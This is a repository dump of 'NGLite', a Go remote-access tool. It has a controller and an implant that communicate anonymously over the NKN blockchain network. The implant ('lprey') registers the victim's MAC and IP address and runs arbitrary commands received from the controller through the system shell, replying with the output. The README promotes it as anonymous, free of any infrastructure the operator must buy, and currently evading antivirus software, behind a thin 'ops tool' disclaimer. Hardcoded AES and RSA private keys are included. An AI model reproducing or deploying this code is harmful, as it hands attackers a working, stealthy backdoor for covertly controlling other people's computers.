├── example.png ├── detection.png ├── conf └── conf.go ├── LICENSE ├── module ├── getmac │ └── ipmac.go ├── cipher │ ├── aescbc.go │ └── rsa.go └── command │ └── command.go ├── README.md ├── lprey └── main.go └── lhunter └── main.go /example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/NGLite/HEAD/example.png -------------------------------------------------------------------------------- /detection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Maka8ka/NGLite/HEAD/detection.png -------------------------------------------------------------------------------- /conf/conf.go: -------------------------------------------------------------------------------- 1 | package conf 2 | 3 | const ( 4 | TransThreads int = 4 5 | Seedid = "fa801f84020cadc6914ef9b11482b4ccaf09e5cc282e77881c38bdded436cc75" 6 | Hunterid = "monitor" 7 | AesKey = "whatswrongwithUu" 8 | IvKey = "whatswrongwithUu" 9 | RsaPublicKey = `-----BEGIN PUBLIC KEY----- 10 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAximut2j7W5ISBb//heyf 11 | umaN5pscUWhgJSAw/dHrlKqFhwU0pB1wRmMrW7UCEJG0KLMBrXqvak5GWAv4nU/e 12 | v9kJohatyFvZYfEEWrlcqHCmJFW5QcGNnRG52TG8bU6Xk7ide1PTmPmrUlXAEwys 13 | g4iYeWxCOpO9c4P7CLw/XyoHZ/yPXf/xPJNxxMpaudux1WAZBg+a1j1bilS5MBi6 14 | 0QMmE62OvKl2QpfTqFTDllh+UTouNzwt4fnEH5cQnhXxdDH7RGtj1Rnm7w1jwWr4 15 | mqGPzuE5KeNlPNPtN770fbSv0qORG7HZ4sJFv59Rs9fY7j64dJfNY5sf1Z31reoJ 16 | IwIDAQAB 17 | -----END PUBLIC KEY-----` 18 | ) 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Maka8ka 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /module/getmac/ipmac.go: -------------------------------------------------------------------------------- 1 | package getmac 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | ) 7 | 8 | func GetMacAddrs() (macAddrs []string) { 9 | netInterfaces, err := net.Interfaces() 10 | if err != nil { 11 | fmt.Printf("fail to get net interfaces: %v", err) 12 | return macAddrs 13 | } 14 | 15 | for _, netInterface := range netInterfaces { 16 | macAddr := netInterface.HardwareAddr.String() 17 | if len(macAddr) == 0 { 18 | continue 19 | } 20 | 21 | macAddrs = append(macAddrs, macAddr) 22 | } 23 | return macAddrs 24 | } 25 | 26 | func GetIPs() (ips []string) { 27 | 28 | interfaceAddr, err := net.InterfaceAddrs() 29 | if err != nil { 30 | fmt.Printf("fail to get net interface addrs: %v", err) 31 | return ips 32 | } 33 | 34 | for _, address := range interfaceAddr { 35 | ipNet, isValidIpNet := address.(*net.IPNet) 36 | if isValidIpNet && !ipNet.IP.IsLoopback() { 37 | if ipNet.IP.To4() != nil { 38 | ips = append(ips, ipNet.IP.String()) 39 | } 40 | } 41 | } 42 | return ips 43 | } 44 | 45 | // func main() { 46 | // fmt.Printf("mac addrs: %q\n", GetMacAddrs()) 47 | // fmt.Printf("ips: %q\n", GetIPs()) 48 | // } 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## NGLite 2 | * 基于区块链网络的匿名跨平台远控程序 3 | * 实现原理:[链接](https://maka8ka.github.io/post/一个基于区块链网络的匿名远控/) 4 | 5 | ## 优势&劣势 6 | 7 | 理论上完全的匿名性,当然要是有人监测并分析了所有中间节点除外,目前节点约8W个 8 | 9 | 无需任何公网资源,只需要通信主机能上网即可 10 | 11 | 无需实名购买IP/域名/服务器/CDN等等资源 12 | 13 | 目前免杀性能优 14 | 15 | 连接稍多,体积较大,大家可自行通过upx等进行压缩 16 | 17 | ## 目前支持参数 18 | 19 | ```powershell 20 | 控制端 21 | -n new 生成新的频道/群组/seed 22 | -g 9e8124591f55d27b48ba907f2ad39e790ec589b3942dec2a19e7c2a96b751922 指定9e8124591f55d27b48ba907f2ad39e790ec589b3942dec2a19e7c2a96b751922频道 23 | $mac$ip shell 对执行主机发送shell命令 24 | 25 | 被控端 26 | -g 9e8124591f55d27b48ba907f2ad39e790ec589b3942dec2a19e7c2a96b751922 指定9e8124591f55d27b48ba907f2ad39e790ec589b3942dec2a19e7c2a96b751922频道 27 | ``` 28 | 29 | ## Example 30 | ![example](https://raw.githubusercontent.com/Maka8ka/NGLite/main/example.png) 31 | 32 | ## 后续开发 33 | 34 | 介于P2P的特性以及分布的7w多个网络节点,这个网络天生具有大文件传输的优势及网络传输速度的优势。 35 | 36 | 后续考虑增加文件传输、内网穿透代理等功能。 37 | 38 | 代码写的比较乱,稍后整理一下,将功能分离后会更新源代码。 39 | 40 | ## Detection 41 | ![detection](https://raw.githubusercontent.com/Maka8ka/NGLite/main/detection.png) 42 | 43 | 44 | ## Warning!!! 45 | 该远控程序是方便运维人员使用的运维工具,请大家合理使用,产生一切非法行为及后果由使用者自负。 46 | 47 | ## My Sapce 48 | [Maka8ka's Garden](https://maka8ka.github.io) 49 | -------------------------------------------------------------------------------- /module/cipher/aescbc.go: -------------------------------------------------------------------------------- 1 | package cipher 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "log" 8 | "runtime" 9 | ) 10 | 11 | const ( 12 | ivaes = "Kasy65xGUhjbzg5f" // must be set in len 16 string 13 | //aeskey = "whoisyourdaddy11" //needs be set in programs 14 | ) 15 | 16 | func PKCS5Padding(plainText []byte, blockSize int) []byte { 17 | padding := blockSize - (len(plainText) % blockSize) 18 | padText := bytes.Repeat([]byte{byte(padding)}, padding) 19 | newText := append(plainText, padText...) 20 | return newText 21 | } 22 | 23 | func PKCS5UnPadding(plainText []byte) ([]byte, error) { 24 | length := len(plainText) 25 | number := int(plainText[length-1]) 26 | if number > length { 27 | return nil, nil 28 | } 29 | return plainText[:length-number], nil 30 | } 31 | 32 | func init() { 33 | log.SetFlags(log.Ldate | log.Lshortfile) 34 | } 35 | 36 | // encrypt 37 | func AesCbcEncrypt(plainText, key []byte, ivAes ...byte) ([]byte, error) { 38 | if len(key) != 16 && len(key) != 24 && len(key) != 32 { 39 | return nil, nil 40 | } 41 | block, err := aes.NewCipher(key) 42 | if err != nil { 43 | return nil, err 44 | } 45 | paddingText := PKCS5Padding(plainText, block.BlockSize()) 46 | 47 | var iv []byte 48 | if len(ivAes) != 0 { 49 | if len(ivAes) != 16 { 50 | return nil, nil //, ErrIvAes 51 | } else { 52 | iv = ivAes 53 | } 54 | } else { 55 | iv = []byte(ivaes) 56 | } // To initialize the vector, it needs to be the same length as block.blocksize 57 | blockMode := cipher.NewCBCEncrypter(block, iv) 58 | cipherText := make([]byte, len(paddingText)) 59 | blockMode.CryptBlocks(cipherText, paddingText) 60 | return cipherText, nil 61 | } 62 | 63 | // decrypt 64 | func AesCbcDecrypt(cipherText, key []byte, ivAes ...byte) ([]byte, error) { 65 | if len(key) != 16 && len(key) != 24 && len(key) != 32 { 66 | return nil, nil //, ErrKeyLengthSixteen 67 | } 68 | block, err := aes.NewCipher(key) 69 | if err != nil { 70 | return nil, err 71 | } 72 | 73 | defer func() { 74 | if err := recover(); err != nil { 75 | switch err.(type) { 76 | case runtime.Error: 77 | log.Println("runtime err:", err, "Check that the key or text is correct") 78 | default: 79 | log.Println("error:", err) 80 | } 81 | } 82 | }() 83 | var iv []byte 84 | if len(ivAes) != 0 { 85 | if len(ivAes) != 16 { 86 | return nil, nil 87 | } else { 88 | iv = ivAes 89 | } 90 | } else { 91 | iv = []byte(ivaes) 92 | } 93 | blockMode := cipher.NewCBCDecrypter(block, iv) 94 | paddingText := make([]byte, len(cipherText)) 95 | blockMode.CryptBlocks(paddingText, cipherText) 96 | 97 | plainText, err := PKCS5UnPadding(paddingText) 98 | if err != nil { 99 | return nil, err 100 | } 101 | return plainText, nil 102 | } 103 | -------------------------------------------------------------------------------- /module/cipher/rsa.go: -------------------------------------------------------------------------------- 1 | package cipher 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "crypto/x509" 7 | "encoding/pem" 8 | "log" 9 | "os" 10 | "runtime" 11 | ) 12 | 13 | const ( 14 | privateKeyPrefix = "PRIVATE KEY" 15 | publicKeyPrefix = "PUBLIC KEY" 16 | 17 | privateFileName = "private.pem" 18 | publicFileName = "public.pem" 19 | ) 20 | 21 | func init() { 22 | log.SetFlags(log.Ldate | log.Lshortfile) 23 | } 24 | 25 | func RsaEncrypt(plainText, key []byte) (cryptText []byte, err error) { 26 | block, _ := pem.Decode(key) 27 | defer func() { 28 | if err := recover(); err != nil { 29 | switch err.(type) { 30 | case runtime.Error: 31 | log.Println("runtime err:", err, "Check that the key is correct") 32 | default: 33 | log.Println("error:", err) 34 | } 35 | } 36 | }() 37 | publicKeyInterface, err := x509.ParsePKIXPublicKey(block.Bytes) 38 | if err != nil { 39 | return nil, err 40 | } 41 | publicKey := publicKeyInterface.(*rsa.PublicKey) 42 | 43 | cipherText, err := rsa.EncryptPKCS1v15(rand.Reader, publicKey, plainText) 44 | if err != nil { 45 | return nil, err 46 | } 47 | return cipherText, nil 48 | } 49 | 50 | func RsaDecrypt(cryptText, key []byte) (plainText []byte, err error) { 51 | block, _ := pem.Decode(key) 52 | 53 | defer func() { 54 | if err := recover(); err != nil { 55 | switch err.(type) { 56 | case runtime.Error: 57 | log.Println("runtime err:", err, "Check that the key is correct") 58 | default: 59 | log.Println("error:", err) 60 | } 61 | } 62 | }() 63 | privateKey, err := x509.ParsePKCS1PrivateKey(block.Bytes) 64 | if err != nil { 65 | return []byte{}, err 66 | } 67 | plainText, err = rsa.DecryptPKCS1v15(rand.Reader, privateKey, cryptText) 68 | if err != nil { 69 | return []byte{}, err 70 | } 71 | return plainText, nil 72 | } 73 | 74 | func GetRsaKey() error { 75 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 76 | if err != nil { 77 | return err 78 | } 79 | x509PrivateKey := x509.MarshalPKCS1PrivateKey(privateKey) 80 | privateFile, err := os.Create(privateFileName) 81 | if err != nil { 82 | return err 83 | } 84 | defer privateFile.Close() 85 | privateBlock := pem.Block{ 86 | Type: privateKeyPrefix, 87 | Bytes: x509PrivateKey, 88 | } 89 | 90 | if err = pem.Encode(privateFile, &privateBlock); err != nil { 91 | return err 92 | } 93 | publicKey := privateKey.PublicKey 94 | x509PublicKey, err := x509.MarshalPKIXPublicKey(&publicKey) 95 | if err != nil { 96 | panic(err) 97 | } 98 | publicFile, _ := os.Create(publicFileName) 99 | defer publicFile.Close() 100 | publicBlock := pem.Block{ 101 | Type: publicKeyPrefix, 102 | Bytes: x509PublicKey, 103 | } 104 | if err = pem.Encode(publicFile, &publicBlock); err != nil { 105 | return err 106 | } 107 | return nil 108 | } 109 | -------------------------------------------------------------------------------- /lprey/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/hex" 5 | "flag" 6 | "fmt" 7 | 8 | "NGLite/conf" 9 | "NGLite/module/cipher" 10 | "NGLite/module/command" 11 | "NGLite/module/getmac" 12 | 13 | nkn "github.com/nknorg/nkn-sdk-go" 14 | ) 15 | 16 | var preyid string 17 | 18 | func main() { 19 | var Seed string 20 | flag.StringVar(&Seed, "g", "default", "group") 21 | flag.Parse() 22 | if Seed == "default" { 23 | Seed = conf.Seedid 24 | } 25 | 26 | initonce(Seed) 27 | Preylistener(Seed) 28 | 29 | } 30 | 31 | func Preylistener(seedid string) { 32 | err := func() error { 33 | 34 | 35 | seed, _ := hex.DecodeString(seedid) 36 | account, err := nkn.NewAccount(seed) 37 | if err != nil { 38 | return err 39 | } 40 | 41 | 42 | Listener, err := nkn.NewMultiClient(account, preyid, conf.TransThreads, false, clientConf) 43 | 44 | if err != nil { 45 | return err 46 | } 47 | 48 | <-Listener.OnConnect.C 49 | 50 | for { 51 | msg := <-Listener.OnMessage.C 52 | 53 | if AesDecode(string(msg.Data)) != "mayAttack" { 54 | msg.Reply(Runcommand(AesDecode(string(msg.Data)))) 55 | } 56 | 57 | } 58 | 59 | }() 60 | if err != nil { 61 | fmt.Println(err) 62 | } 63 | } 64 | 65 | var clientConf *nkn.ClientConfig 66 | 67 | func initonce(seedid string) { 68 | 69 | clientConf = &nkn.ClientConfig{ 70 | SeedRPCServerAddr: nil, 71 | RPCTimeout: 100000, 72 | RPCConcurrency: 5, 73 | MsgChanLen: 4096, 74 | ConnectRetries: 10, 75 | MsgCacheExpiration: 300000, 76 | MsgCacheCleanupInterval: 60000, 77 | WsHandshakeTimeout: 100000, 78 | WsWriteTimeout: 100000, 79 | MinReconnectInterval: 100, 80 | MaxReconnectInterval: 10000, 81 | MessageConfig: nil, 82 | SessionConfig: nil, 83 | } 84 | 85 | 86 | preyid = getmac.GetMacAddrs()[0] + getmac.GetIPs()[0] 87 | 88 | seed, _ := hex.DecodeString(seedid) 89 | account, err := nkn.NewAccount(seed) 90 | if err != nil { 91 | fmt.Println(err) 92 | } 93 | replymsg, err := Sender(preyid, conf.Hunterid, account, RsaEncode([]byte(preyid))) 94 | if err != nil { 95 | fmt.Println(err) 96 | } else { 97 | fmt.Println(replymsg) 98 | } 99 | } 100 | 101 | func RsaEncode(strbyte []byte) []byte { 102 | crypttext, err := cipher.RsaEncrypt(strbyte, []byte(conf.RsaPublicKey)) 103 | if err != nil { 104 | fmt.Println(err) 105 | } 106 | return crypttext 107 | } 108 | 109 | func AesDecode(str string) string { 110 | plaintext, err := cipher.AesCbcDecrypt([]byte(str), []byte(conf.AesKey)) 111 | if err != nil { 112 | fmt.Println(err) 113 | return "mayAttack" 114 | } else { 115 | return string(plaintext) 116 | 117 | } 118 | 119 | } 120 | 121 | func Sender(srcid string, dst string, acc *nkn.Account, msg interface{}) (string, error) { 122 | Listener, err := nkn.NewMultiClient(acc, dst, conf.TransThreads, false, nil) 123 | if err != nil { 124 | return "error", err 125 | } 126 | Sender, err := nkn.NewMultiClient(acc, srcid, conf.TransThreads, false, clientConf) 127 | if err != nil { 128 | return "error", err 129 | } 130 | 131 | <-Sender.OnConnect.C 132 | 133 | onReply, err := Sender.Send(nkn.NewStringArray(Listener.Address()), msg, nil) 134 | if err != nil { 135 | 136 | return "error", err 137 | } 138 | reply := <-onReply.C 139 | 140 | return string(reply.Data), nil 141 | } 142 | 143 | func Runcommand(cmd string) string { 144 | _, out, _ := command.NewCommand().Exec(cmd) 145 | return out 146 | } 147 | -------------------------------------------------------------------------------- /module/command/command.go: -------------------------------------------------------------------------------- 1 | package command 2 | 3 | import ( 4 | "io/ioutil" 5 | "os" 6 | "os/exec" 7 | "runtime" 8 | "syscall" 9 | 10 | "golang.org/x/text/encoding/simplifiedchinese" 11 | ) 12 | 13 | func NewCommand() Commander { 14 | var cmd Commander 15 | 16 | switch runtime.GOOS { 17 | case "linux": 18 | cmd = NewLinuxCommand() 19 | case "windows": 20 | cmd = NewWindowsCommand() 21 | default: 22 | cmd = NewLinuxCommand() 23 | } 24 | 25 | return cmd 26 | } 27 | 28 | type Charset string 29 | 30 | const ( 31 | UTF8 = Charset("UTF-8") 32 | GB18030 = Charset("GB18030") 33 | ) 34 | 35 | type Commander interface { 36 | Exec(args ...string) (int, string, error) 37 | ExecAsync(stdout chan string, args ...string) int 38 | ExecIgnoreResult(args ...string) error 39 | } 40 | 41 | func ConvertByte2String(byte []byte, charset Charset) string { 42 | var str string 43 | switch charset { 44 | case GB18030: 45 | var decodeBytes, _ = simplifiedchinese.GB18030.NewDecoder().Bytes(byte) 46 | str = string(decodeBytes) 47 | case UTF8: 48 | fallthrough 49 | default: 50 | str = string(byte) 51 | } 52 | return str 53 | } 54 | 55 | type WindowsCommand struct { 56 | } 57 | 58 | func NewWindowsCommand() *WindowsCommand { 59 | return &WindowsCommand{} 60 | } 61 | 62 | func (lc *WindowsCommand) Exec(args ...string) (int, string, error) { 63 | args = append([]string{"/c"}, args...) 64 | cmd := exec.Command("cmd", args...) 65 | 66 | cmd.SysProcAttr = &syscall.SysProcAttr{} 67 | 68 | outpip, err := cmd.StdoutPipe() 69 | defer outpip.Close() 70 | 71 | if err != nil { 72 | return 0, "", err 73 | } 74 | 75 | err = cmd.Start() 76 | if err != nil { 77 | return 0, "", err 78 | } 79 | 80 | out, err := ioutil.ReadAll(outpip) 81 | if err != nil { 82 | return 0, "", err 83 | } 84 | cmdout := ConvertByte2String(out, "GB18030") 85 | return cmd.Process.Pid, string(cmdout), nil 86 | } 87 | 88 | func (lc *WindowsCommand) ExecAsync(stdout chan string, args ...string) int { 89 | var pidChan = make(chan int, 1) 90 | 91 | go func() { 92 | args = append([]string{"/c"}, args...) 93 | cmd := exec.Command("cmd", args...) 94 | 95 | cmd.SysProcAttr = &syscall.SysProcAttr{} 96 | 97 | outpip, err := cmd.StdoutPipe() 98 | defer outpip.Close() 99 | 100 | if err != nil { 101 | panic(err) 102 | } 103 | 104 | err = cmd.Start() 105 | if err != nil { 106 | panic(err) 107 | } 108 | 109 | pidChan <- cmd.Process.Pid 110 | 111 | out, err := ioutil.ReadAll(outpip) 112 | if err != nil { 113 | panic(err) 114 | } 115 | 116 | stdout <- string(out) 117 | }() 118 | 119 | return <-pidChan 120 | } 121 | 122 | func (lc *WindowsCommand) ExecIgnoreResult(args ...string) error { 123 | args = append([]string{"/c"}, args...) 124 | cmd := exec.Command("cmd", args...) 125 | 126 | cmd.Stdout = os.Stdout 127 | cmd.Stderr = os.Stderr 128 | cmd.SysProcAttr = &syscall.SysProcAttr{} 129 | 130 | err := cmd.Run() 131 | 132 | return err 133 | } 134 | 135 | type LinuxCommand struct { 136 | } 137 | 138 | func NewLinuxCommand() *LinuxCommand { 139 | return &LinuxCommand{} 140 | } 141 | 142 | func (lc *LinuxCommand) Exec(args ...string) (int, string, error) { 143 | args = append([]string{"-c"}, args...) 144 | cmd := exec.Command(os.Getenv("SHELL"), args...) 145 | 146 | cmd.SysProcAttr = &syscall.SysProcAttr{} 147 | 148 | outpip, err := cmd.StdoutPipe() 149 | defer outpip.Close() 150 | 151 | if err != nil { 152 | return 0, "", err 153 | } 154 | 155 | err = cmd.Start() 156 | if err != nil { 157 | return 0, "", err 158 | } 159 | 160 | out, err := ioutil.ReadAll(outpip) 161 | if err != nil { 162 | return 0, "", err 163 | } 164 | 165 | return cmd.Process.Pid, string(out), nil 166 | } 167 | 168 | func (lc *LinuxCommand) ExecAsync(stdout chan string, args ...string) int { 169 | var pidChan = make(chan int, 1) 170 | 171 | go func() { 172 | args = append([]string{"-c"}, args...) 173 | cmd := exec.Command(os.Getenv("SHELL"), args...) 174 | 175 | cmd.SysProcAttr = &syscall.SysProcAttr{} 176 | 177 | outpip, err := cmd.StdoutPipe() 178 | defer outpip.Close() 179 | 180 | if err != nil { 181 | panic(err) 182 | } 183 | 184 | err = cmd.Start() 185 | if err != nil { 186 | panic(err) 187 | } 188 | 189 | pidChan <- cmd.Process.Pid 190 | 191 | out, err := ioutil.ReadAll(outpip) 192 | if err != nil { 193 | panic(err) 194 | } 195 | 196 | stdout <- string(out) 197 | }() 198 | 199 | return <-pidChan 200 | } 201 | 202 | func (lc *LinuxCommand) ExecIgnoreResult(args ...string) error { 203 | 204 | args = append([]string{"-c"}, args...) 205 | cmd := exec.Command(os.Getenv("SHELL"), args...) 206 | 207 | cmd.Stdout = os.Stdout 208 | cmd.Stderr = os.Stderr 209 | cmd.SysProcAttr = &syscall.SysProcAttr{} 210 | 211 | err := cmd.Run() 212 | 213 | return err 214 | } 215 | -------------------------------------------------------------------------------- /lhunter/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "NGLite/conf" 5 | "NGLite/module/cipher" 6 | "bufio" 7 | "crypto/md5" 8 | "encoding/hex" 9 | "flag" 10 | "fmt" 11 | "log" 12 | "math/rand" 13 | "os" 14 | "strings" 15 | "time" 16 | 17 | nkn "github.com/nknorg/nkn-sdk-go" 18 | ) 19 | 20 | const ( 21 | RsaPrivateKey = `-----BEGIN PRIVATE KEY----- 22 | MIIEowIBAAKCAQEAximut2j7W5ISBb//heyfumaN5pscUWhgJSAw/dHrlKqFhwU0 23 | pB1wRmMrW7UCEJG0KLMBrXqvak5GWAv4nU/ev9kJohatyFvZYfEEWrlcqHCmJFW5 24 | QcGNnRG52TG8bU6Xk7ide1PTmPmrUlXAEwysg4iYeWxCOpO9c4P7CLw/XyoHZ/yP 25 | Xf/xPJNxxMpaudux1WAZBg+a1j1bilS5MBi60QMmE62OvKl2QpfTqFTDllh+UTou 26 | Nzwt4fnEH5cQnhXxdDH7RGtj1Rnm7w1jwWr4mqGPzuE5KeNlPNPtN770fbSv0qOR 27 | G7HZ4sJFv59Rs9fY7j64dJfNY5sf1Z31reoJIwIDAQABAoIBAHdw/FyUrJz/KFnK 28 | 5muEuqoR0oojCCiRbxIxmxYCh6quNZmyq44YKGpkr+ew7LOr/xlg/CvifQTodUHw 29 | xUOctriQS1wlq03O/vIn4eYFQDJO4/WWrflSftcjrg+aCOchrf9eEZ4aYrocEwWn 30 | pgRVaU5G8RCPDkRcdJ7B+HfFb7UdgoHr5/1oeMOCs4pxnq8riBZd9Z3GAcPUkSWq 31 | 7Fx/sqHftBZjV7FbA7erRcv4xypAjIp7WvohbYmydDErkDS3rd9Dte+6IG8n3qoS 32 | nwACJFD9byFXdpai7BhfsEAlAh/7dsrivCsnDq0xY9Ee4JRdz6bAXzO3EamlaKAq 33 | 5d7tYqECgYEA6AGW7/WnJ27qtGKZZGKIIoE/OPTpJNsEYGQqYiEsrDITYDZZRG+q 34 | B/whtTHm38CEmf4DSx14IB433w/hUBfTrTJCJjM2sRGRftrgh2xPdqK3hVr3Dy50 35 | FeFETTLJlVQOw176CjMcX6+hhas88YhD6lRfNe61SNf7dHXzTMRsJvkCgYEA2qgV 36 | HsU865SvNrHOMHe9y8tIL+x41VbU1c5MwJfvtHONgAPhS+P3m6yrGHdly3LAuteM 37 | 95HqRBq6bgN9LgHfRt6hKXZbILGeRgeYKTB1UJ39Z4KpMGkNYdG34Qjgq7FycvMd 38 | SoWxlCWR5YI9h0eSZwjSfzefUSzD9aHTFgj0K/sCgYEAriTDTsps9URkF5IK4Ta0 39 | SHILKo1qkqdy2YdV6OJNzdKoiIdC6gOG9QdjpcYXLcwrvArWHgO4ryL/fQdGb//y 40 | ewZGcLXwT2iIdVeFQSEjZEEuz4I//702lVXJFskQVm4Jxsv7krxah9gkvViTHhjS 41 | IYnDDZBnso2ryPbf8LdfFsECgYBRmRIwpniCjb0JUzdYHQdmKxloUP4S11Gb7F32 42 | LX0VwV2X3VrRYGSB4uECw2PolY1Y7KG9reVXvwW9km2/opE5OFG6UGHXhJFFHwZo 43 | sJ3HFP6BB2CuITYOQB43y4FUcWb9gL54lgXb/F1C4eSmPE5lRwSO1yoMOAF1BAvr 44 | GDJOywKBgCnPnjckt+8nJXmTLkJlU0Klsee0aK5SQ2gXYc4af4U0TJXEhhsDymfN 45 | UcokpJbmBeAiE2b8jnJox96cyVC8wNX395WgWtcTXC0vL/BeSUgfeJMnbQGnDD9j 46 | RFDgdjmKGI/BamxEpmM2wPGhQtGYg6iXGVtCYjCWCjufoq8WS8Y8 47 | -----END PRIVATE KEY-----` 48 | ) 49 | 50 | var clientConf *nkn.ClientConfig 51 | 52 | func init() { 53 | //初始化配置文件 54 | clientConf = &nkn.ClientConfig{ 55 | SeedRPCServerAddr: nil, 56 | RPCTimeout: 100000, 57 | RPCConcurrency: 5, 58 | MsgChanLen: 4096, 59 | ConnectRetries: 10, 60 | MsgCacheExpiration: 300000, 61 | MsgCacheCleanupInterval: 60000, 62 | WsHandshakeTimeout: 100000, 63 | WsWriteTimeout: 100000, 64 | MinReconnectInterval: 100, 65 | MaxReconnectInterval: 10000, 66 | MessageConfig: nil, 67 | SessionConfig: nil, 68 | } 69 | } 70 | 71 | func main() { 72 | var Seed string 73 | var MakeSeed string 74 | flag.StringVar(&Seed, "g", "default", "group") 75 | flag.StringVar(&MakeSeed, "n", "default", "-n mew to make a new seed") 76 | flag.Parse() 77 | 78 | if MakeSeed == "new" { 79 | account, err := nkn.NewAccount(nil) 80 | if err != nil { 81 | fmt.Println(err) 82 | } 83 | fmt.Println(hex.EncodeToString(account.Seed())) 84 | os.Exit(0) 85 | } 86 | 87 | if Seed == "default" { 88 | Seed = conf.Seedid 89 | } 90 | 91 | go Huntlistener(Seed) 92 | 93 | fmt.Println("starting...") 94 | for { 95 | // 获取输入的客户端及 命令 96 | inputReader := bufio.NewReader(os.Stdin) 97 | inputtext, err := inputReader.ReadString('\n') 98 | if err != nil { 99 | fmt.Println(err) 100 | } 101 | strarray := strings.Fields(strings.TrimSpace(inputtext)) 102 | // fmt.Println(strarray) //打印输入数组 103 | // fmt.Println(len(strarray)) 104 | var command string 105 | for i := 1; i < len(strarray); i++ { 106 | command = command + strarray[i] + " " 107 | } 108 | // fmt.Println("command is:", command, ".") 109 | fmt.Println(BountyHunter(Seed, strarray[0], command)) 110 | } 111 | 112 | } 113 | 114 | func BountyHunter(seedid string, prey string, command string) string { 115 | //初始化客户端 116 | seed, _ := hex.DecodeString(seedid) 117 | account, err := nkn.NewAccount(seed) 118 | if err != nil { 119 | log.Println(err) 120 | } 121 | 122 | //设置目标 123 | Prey, err := nkn.NewMultiClient(account, prey, conf.TransThreads, false, clientConf) 124 | // Prey, err := nkn.NewMultiClient(account, prey, conf.TransThreads, false, nil) 125 | if err != nil { 126 | log.Println(err) 127 | } 128 | // defer Prey.Close() 129 | //分配随机猎人 130 | Hunter, err := nkn.NewMultiClient(account, RandomID(), conf.TransThreads, false, clientConf) 131 | // Hunter, err := nkn.NewMultiClient(account, RandomID(), conf.TransThreads, false, nil) 132 | if err != nil { 133 | log.Println(err) 134 | } 135 | defer Hunter.Close() 136 | 137 | <-Hunter.OnConnect.C 138 | //发送并接收回复 139 | log.Println("Run Command", Hunter.Address(), "to", Prey.Address()) 140 | 141 | encrycommand := AesEncode(command) 142 | onReply, err := Hunter.Send(nkn.NewStringArray(Prey.Address()), encrycommand, nil) 143 | if err != nil { 144 | 145 | log.Println(err) 146 | } 147 | reply := <-onReply.C 148 | // log.Println("Got reply", "\""+string(reply.Data)+"\"", "from", reply.Src) 149 | 150 | // wait to send receipt 151 | // time.Sleep(30 * time.Second) 152 | 153 | //解密RSA 加密压缩数据 154 | // entext := RsaDecode(reply.Data) 155 | // unziptext, _ := compress.UnZip(entext) 156 | // return string(unzip) 157 | 158 | //无加密 159 | 160 | return string(reply.Data) 161 | } 162 | 163 | func RandomID() string { 164 | str := "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 165 | bytes := []byte(str) 166 | result := []byte{} 167 | r := rand.New(rand.NewSource(time.Now().UnixNano())) 168 | for i := 0; i < 32; i++ { 169 | result = append(result, bytes[r.Intn(len(bytes))]) 170 | } 171 | ctx := md5.New() 172 | ctx.Write([]byte(result)) 173 | return hex.EncodeToString(ctx.Sum(nil)) 174 | } 175 | 176 | func AesEncode(str string) []byte { 177 | encode, err := cipher.AesCbcEncrypt([]byte(str), []byte(conf.AesKey)) 178 | if err != nil { 179 | fmt.Println(err) 180 | } 181 | return encode 182 | } 183 | 184 | func RsaDecode(str []byte) []byte { 185 | plaintext, err := cipher.RsaDecrypt(str, []byte(RsaPrivateKey)) 186 | if err != nil { 187 | fmt.Println(err) 188 | } 189 | return plaintext 190 | } 191 | 192 | func Huntlistener(seedid string) { 193 | err := func() error { 194 | 195 | //初始化客户端 196 | seed, _ := hex.DecodeString(seedid) 197 | // //log debug 198 | // fmt.Println(seed) 199 | account, err := nkn.NewAccount(seed) 200 | if err != nil { 201 | return err 202 | } 203 | 204 | //设置监听端 205 | Listener, err := nkn.NewMultiClient(account, conf.Hunterid, conf.TransThreads, false, clientConf) 206 | // Listener, err := nkn.NewMultiClient(account, conf.Hunterid, conf.TransThreads, false, nil) 207 | if err != nil { 208 | return err 209 | } 210 | // defer Listener.Close() 211 | <-Listener.OnConnect.C 212 | 213 | for { 214 | msg := <-Listener.OnMessage.C 215 | 216 | log.Println("New Client \"", string(RsaDecode(msg.Data)), "\"Added, msg from", msg.Src) 217 | msg.Reply([]byte("OK")) 218 | } 219 | 220 | }() 221 | if err != nil { 222 | fmt.Println(err) 223 | } 224 | } 225 | --------------------------------------------------------------------------------